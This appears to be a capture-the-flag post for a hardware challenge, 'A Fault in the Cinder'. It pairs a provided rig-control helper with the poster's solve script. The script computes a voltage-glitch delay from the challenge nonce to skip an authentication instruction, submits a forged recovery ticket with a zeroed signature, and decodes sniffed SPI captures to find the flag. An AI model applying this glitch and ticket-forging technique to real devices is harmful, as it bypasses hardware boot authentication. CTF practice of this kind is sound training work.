A Fault in the Cinder (Hardware Hard) - glitch exploit + rig helper. Glitch works 100%, stuck on session-encrypted FIFO decryption

rig.py

#!/usr/bin/env python3
"""Clamp-and-listen rig for a warded Cinderbound coffer.

Drives the coffer's service bench: rig control (power / strap / trigger / glitch /
capture-arm / status), capture download off the analyzer clamp, and the recovery console.

  python3 rig.py <host> status --rig PORT
  python3 rig.py <host> baseline out.vcd --rig PORT --la PORT   # recovery boot + capture
  python3 rig.py <host> ticket <base64> --service PORT          # present a recovery signet
"""

import argparse
import gzip
import hashlib
import socket
import struct
import sys
import time

CAP_MAGIC = b"CINDCAP1"


class Conn:
    def __init__(self, host, port):
        self.s = socket.create_connection((host, port), timeout=15)
        self.buf = b""
        self._banner = self._readline()

    def _readline(self):
        while b"\n" not in self.buf:
            chunk = self.s.recv(4096)
            if not chunk:
                return None
            self.buf += chunk
        line, self.buf = self.buf.split(b"\n", 1)
        return line.decode("ascii", "replace").strip()

    def _read_exact(self, n):
        while len(self.buf) < n:
            chunk = self.s.recv(65536)
            if not chunk:
                break
            self.buf += chunk
        out, self.buf = self.buf[:n], self.buf[n:]
        return out

    def cmd(self, line, replies=1):
        self.s.sendall((line + "\n").encode())
        return [self._readline() for _ in range(replies)]

    def close(self):
        self.s.close()


class Rig(Conn):
    def strap(self, mode):        return self.cmd("STRAP %s" % mode)[0]
    def trigger(self, pattern_hex, mask_hex, edge="CS_RISE"):
        return self.cmd("TRIGGER BUS SE PATTERN %s MASK %s EDGE %s" % (pattern_hex, mask_hex, edge))[0]
    def glitch(self, delay, width): return self.cmd("GLITCH DELAY %d WIDTH %d" % (delay, width))[0]
    def arm(self):                return self.cmd("CAPTURE ARM INTERNAL_SPI")[0]
    def reset_rig(self):          return self.cmd("RESET RIG")[0]

    def power_cycle(self):
        """Returns {'boot_id','capture_id'?,'triggered','powered'}, pacing-aware."""
        for _ in range(240):
            self.s.sendall(b"POWER CYCLE\n")
            lines = []
            first = self._readline()
            if first is None:
                return None
            if first.startswith("BUSY"):
                time.sleep(0.3)
                continue
            lines.append(first)
            # collect the remaining status lines (CAPTURE?, TRIGGERED/NOTRIG, POWERED/RESET)
            for _ in range(3):
                self.s.settimeout(1.0)
                try:
                    l = self._readline()
                except socket.timeout:
                    break
                if l is None:
                    break
                lines.append(l)
                if l in ("POWERED", "RESET"):
                    break
            out = {"triggered": "TRIGGERED" in lines, "powered": "POWERED" in lines}
            for l in lines:
                if l.startswith("BOOT "):
                    out["boot_id"] = int(l.split()[1])
                if l.startswith("CAPTURE cap-"):
                    out["capture_id"] = int(l.split("cap-")[1])
            return out
        raise SystemExit("rate-limited too long")

    def status(self):
        return self.cmd("STATUS")[0]


class LA(Conn):
    def list(self):
        self.s.sendall(b"LIST\n")
        out = []
        while True:
            l = self._readline()
            if l is None or l == "END":
                break
            out.append(l)
        return out

    def download(self, capture_id):
        """Return the decompressed VCD text; verifies the envelope digest + size."""
        self.s.sendall(("GET cap-%d VCD.GZ\n" % capture_id).encode())
        head = self._readline()
        if not head or not head.startswith("DATA "):
            raise SystemExit("download failed: %r" % head)
        n = int(head.split()[1])
        blob = self._read_exact(n)
        magic, boot_id, cap_id, fmt, flags, _rsv, csize, usize, digest = struct.unpack(
            "<8sIIBBHII32s", blob[:60])
        if magic != CAP_MAGIC:
            raise SystemExit("bad capture magic")
        comp = blob[60:60 + csize]
        if hashlib.sha256(comp).digest() != digest:
            raise SystemExit("capture digest mismatch")
        raw = gzip.decompress(comp)
        if len(raw) != usize:
            raise SystemExit("capture size mismatch")
        return raw.decode()


class Service(Conn):
    def __init__(self, host, port):
        super().__init__(host, port)
        # On a recovery boot the service follows its banner with a multi-line offer
        # (DEVICE/IMAGE/COUNTER/CHALLENGE) ending in TICKET?. Drain it on connect so a later
        # command's reply is read as the reply, not as a leftover buffered offer line.
        self.offer = []
        self.s.settimeout(1.0)
        try:
            while True:
                line = self._readline()
                if line is None:
                    break
                self.offer.append(line)
                if line == "TICKET?":
                    break
        except socket.timeout:
            pass
        finally:
            self.s.settimeout(15)

    def challenge(self):          return self.cmd("CHALLENGE?")[0]
    def ticket(self, b64):        return self.cmd("TICKET %s" % b64)[0]


def _capture_boot(host, ports, strap="RECOVERY"):
    rig = Rig(host, ports[0])
    rig.strap(strap); rig.reset_rig(); rig.arm()
    r = rig.power_cycle()
    rig.close()
    la = LA(host, ports[1])
    vcd = la.download(r["capture_id"])
    la.close()
    return r, vcd


def main():
    ap = argparse.ArgumentParser(description=__doc__.splitlines()[0])
    ap.add_argument("host", help="coffer service-bench host")
    ap.add_argument("cmd", choices=["status", "baseline", "ticket"])
    ap.add_argument("arg", nargs="?", help="baseline: output VCD path; ticket: base64 signet")
    ap.add_argument("--rig", type=int, help="rig control port")
    ap.add_argument("--la", type=int, help="analyzer clamp port")
    ap.add_argument("--service", type=int, help="recovery console port")
    args = ap.parse_args()

    def need(*roles):
        missing = ["--%s" % r for r in roles if getattr(args, r) is None]
        if missing:
            ap.error("%s needs %s" % (args.cmd, ", ".join(missing)))

    if args.cmd == "status":
        need("rig")
        r = Rig(args.host, args.rig); print(r.status()); r.close()
    elif args.cmd == "baseline":
        need("rig", "la")
        out = args.arg or "capture.vcd"
        r, vcd = _capture_boot(args.host, (args.rig, args.la, None))
        open(out, "w").write(vcd)
        print("boot %s, capture %s -> %s (%d bytes)" % (r.get("boot_id"), r.get("capture_id"), out, len(vcd)))
    elif args.cmd == "ticket":
        need("service")
        if not args.arg:
            ap.error("ticket needs a base64 signet argument")
        s = Service(args.host, args.service)
        for line in s.offer:
            print(line)
        print(s.ticket(args.arg))
        s.close()


if __name__ == "__main__":
    main()

solve3.py

#!/usr/bin/env python3
"""Solve - A Fault in the Cinder: precise fault injection using known nonce."""

import sys
import struct
import base64
import socket

sys.path.insert(0, 'challenges/a_fault_in_the_cinder')
from rig import Rig, LA, Service

HOST = '154.57.164.72'
RIG_PORT = 31412
LA_PORT = 30336
SVC_PORT = 30140

OPCODES = {
    0x10: 'STARTUP', 0x11: 'READ_NV_COUNTER', 0x12: 'GET_RECOVERY_CHALLENGE',
    0x13: 'VERIFY_RECOVERY_TICKET', 0x14: 'EXTEND_BOOT_PCR',
    0x15: 'LOCK_MEASUREMENT', 0x20: 'OPEN_FACTORY_SESSION',
    0x21: 'UNSEAL', 0x22: 'READ_FIFO', 0x23: 'GET_STATUS',
}

D_DRV = 221  # Fixed ward-return cost

def compute_delay(nonce_hex):
    """Compute the exact glitch delay from the known challenge nonce.

    Target: movs r2, 0 at address 0x10c (inside ite hs block)
    Skipping this leaves r2=1, bypassing the auth check.

    K = 31 + 8*N where N = (nonce[0] ^ nonce[15]) & 0x1f
    Total delay = D_drv + K = 252 + 8*N
    """
    nonce = bytes.fromhex(nonce_hex)
    n = (nonce[0] ^ nonce[15]) & 0x1f
    k = 31 + 8 * n
    delay = D_DRV + k
    print(f"  Nonce: {nonce_hex}")
    print(f"  nonce[0]=0x{nonce[0]:02x} nonce[15]=0x{nonce[15]:02x}")
    print(f"  N = (0x{nonce[0]:02x} ^ 0x{nonce[15]:02x}) & 0x1f = {n}")
    print(f"  K = 31 + 8*{n} = {k}")
    print(f"  delay = {D_DRV} + {k} = {delay}")
    return delay


def craft_fake_ticket(device_uid_hex, image_digest_hex, counter, challenge_hex):
    """Build a structurally valid ticket (RCVT magic + correct fields)."""
    ticket = bytearray(144)
    ticket[0:4] = b'RCVT'
    ticket[4] = 1       # version
    ticket[5] = 0        # flags
    uid = bytes.fromhex(device_uid_hex)
    ticket[6:6+len(uid)] = uid
    digest = bytes.fromhex(image_digest_hex)
    ticket[22:22+32] = digest
    struct.pack_into('<I', ticket, 54, counter)
    nonce = bytes.fromhex(challenge_hex)
    ticket[58:58+16] = nonce
    # service op counter = 0, fake signature = zeros
    return bytes(ticket)


def parse_vcd_se_transactions(vcd_text):
    """Parse VCD and extract CS_SE SPI transactions."""
    signals = {}
    events = []
    in_defs = True
    current_time = 0

    for line in vcd_text.split('\n'):
        line = line.strip()
        if line.startswith('$var'):
            parts = line.split()
            signals[parts[3]] = parts[4]
        elif line == '$enddefinitions $end':
            in_defs = False
        elif not in_defs:
            if line.startswith('#'):
                current_time = int(line[1:])
            elif line.startswith('$'):
                continue
            elif len(line) >= 2 and line[0] in '01':
                val = int(line[0])
                sig_id = line[1:]
                if sig_id in signals:
                    events.append((current_time, signals[sig_id], val))

    cs_active = False
    sck_prev = 0
    state = {}
    txns = []
    mosi_bits = []; miso_bits = []
    mosi_bytes = []; miso_bytes = []
    cs_start = 0

    for t, sig, val in events:
        state[sig] = val
        if sig == 'CS_SE':
            if val == 0 and not cs_active:
                cs_active = True; cs_start = t
                mosi_bits = []; miso_bits = []
                mosi_bytes = []; miso_bytes = []
            elif val == 1 and cs_active:
                cs_active = False
                txns.append({'start': cs_start, 'end': t,
                             'mosi': mosi_bytes[:], 'miso': miso_bytes[:]})
        if sig == 'SCK' and val == 1 and sck_prev == 0 and cs_active:
            mosi_bits.append(state.get('MOSI', 0))
            miso_bits.append(state.get('MISO', 0))
            if len(mosi_bits) == 8:
                b = 0
                for bit in mosi_bits: b = (b << 1) | bit
                mosi_bytes.append(b); mosi_bits = []
            if len(miso_bits) == 8:
                b = 0
                for bit in miso_bits: b = (b << 1) | bit
                miso_bytes.append(b); miso_bits = []
        if sig == 'SCK': sck_prev = val

    return txns


def print_transactions(txns):
    for i, txn in enumerate(txns):
        mosi = txn['mosi']
        miso = txn['miso']
        resp_start = next((j for j, b in enumerate(miso) if b != 0xFF), len(miso))
        resp = miso[resp_start:]
        cmd = OPCODES.get(mosi[0], f'0x{mosi[0]:02x}') if mosi else '?'

        print(f"  Txn {i}: {cmd}", end='')
        if resp and len(resp) >= 3:
            print(f" → st=0x{resp[2]:02x}", end='')
            if len(resp) >= 5:
                plen = resp[3] | (resp[4] << 8)
                if plen > 0 and len(resp) > 5:
                    payload = bytes(resp[5:5+plen])
                    # Try ASCII
                    try:
                        text = payload.decode('ascii', 'replace')
                        printable = all(32 <= c < 127 or c == ord('\n') for c in payload)
                        if printable:
                            print(f' data="{text}"', end='')
                        else:
                            print(f" data={payload.hex()}", end='')
                    except:
                        print(f" data={payload.hex()}", end='')
        print()


def extract_flag(txns):
    """Check all transactions for flag data."""
    for txn in txns:
        miso = txn['miso']
        resp_start = next((j for j, b in enumerate(miso) if b != 0xFF), len(miso))
        resp = miso[resp_start:]
        if resp and len(resp) >= 5:
            plen = resp[3] | (resp[4] << 8)
            if plen > 0 and len(resp) > 5:
                payload = bytes(resp[5:5+plen])
                text = payload.decode('ascii', 'replace')
                if 'HTB{' in text:
                    return text
    return None


def attempt_glitch(width=10):
    """Single glitch attempt with precisely computed delay."""
    # Step 1: Connect to service, get offer
    print("=== Connecting to service ===")
    svc = Service(HOST, SVC_PORT)
    offer = {}
    for line in svc.offer:
        if ' ' in line:
            k, v = line.split(' ', 1)
            offer[k] = v

    challenge = offer.get('CHALLENGE', '')
    if not challenge:
        print("ERROR: No challenge in offer!")
        svc.close()
        return None

    # Step 2: Compute delay from known nonce
    print("\n=== Computing delay ===")
    delay = compute_delay(challenge)

    # Step 3: Submit fake ticket
    print("\n=== Submitting ticket ===")
    ticket = craft_fake_ticket(
        offer.get('DEVICE', '00' * 16),
        offer.get('IMAGE', '00' * 32),
        int(offer.get('COUNTER', '0')),
        challenge,
    )
    result = svc.ticket(base64.b64encode(ticket).decode())
    print(f"  Result: {result}")
    svc.close()

    # Step 4: Configure glitch and boot
    print(f"\n=== Glitch boot (delay={delay}, width={width}) ===")
    rig = Rig(HOST, RIG_PORT)
    print(f"  Strap: {rig.strap('RECOVERY')}")
    print(f"  Reset: {rig.reset_rig()}")

    # Trigger on VERIFY_RECOVERY_TICKET response (opcode 0x13)
    print(f"  Trigger: {rig.trigger('13', 'ff')}")
    print(f"  Glitch: {rig.glitch(delay, width)}")
    print(f"  Arm: {rig.arm()}")

    r = rig.power_cycle()
    print(f"  Power cycle: {r}")
    rig.close()

    if not r or 'capture_id' not in r:
        print("  ERROR: No capture!")
        return None

    # Step 5: Download and analyze capture
    la = LA(HOST, LA_PORT)
    vcd = la.download(r['capture_id'])
    la.close()

    txns = parse_vcd_se_transactions(vcd)
    print(f"\n=== Transactions ({len(txns)}) ===")
    print_transactions(txns)

    triggered = r.get('triggered', False)
    has_extend = any(t['mosi'] and t['mosi'][0] == 0x14 for t in txns)
    has_fifo = any(t['mosi'] and t['mosi'][0] == 0x22 for t in txns)
    print(f"\nTriggered: {triggered}, EXTEND_BOOT_PCR: {has_extend}, READ_FIFO: {has_fifo}")

    if has_fifo:
        flag = extract_flag(txns)
        if flag:
            print(f"\n*** FLAG: {flag} ***")
            return flag

    # Save VCD for analysis
    with open(f'challenges/a_fault_in_the_cinder/glitch_d{delay}_w{width}.vcd', 'w') as f:
        f.write(vcd)

    return None


def main():
    width = int(sys.argv[1]) if len(sys.argv) > 1 else 10
    max_attempts = int(sys.argv[2]) if len(sys.argv) > 2 else 10

    for attempt in range(max_attempts):
        print(f"\n{'='*60}")
        print(f"  ATTEMPT {attempt + 1}/{max_attempts}")
        print(f"{'='*60}")

        flag = attempt_glitch(width=width)
        if flag:
            print(f"\n{'*'*60}")
            print(f"  FLAG FOUND: {flag}")
            print(f"{'*'*60}")
            return

    print("\nNo flag found after all attempts.")


if __name__ == '__main__':
    main()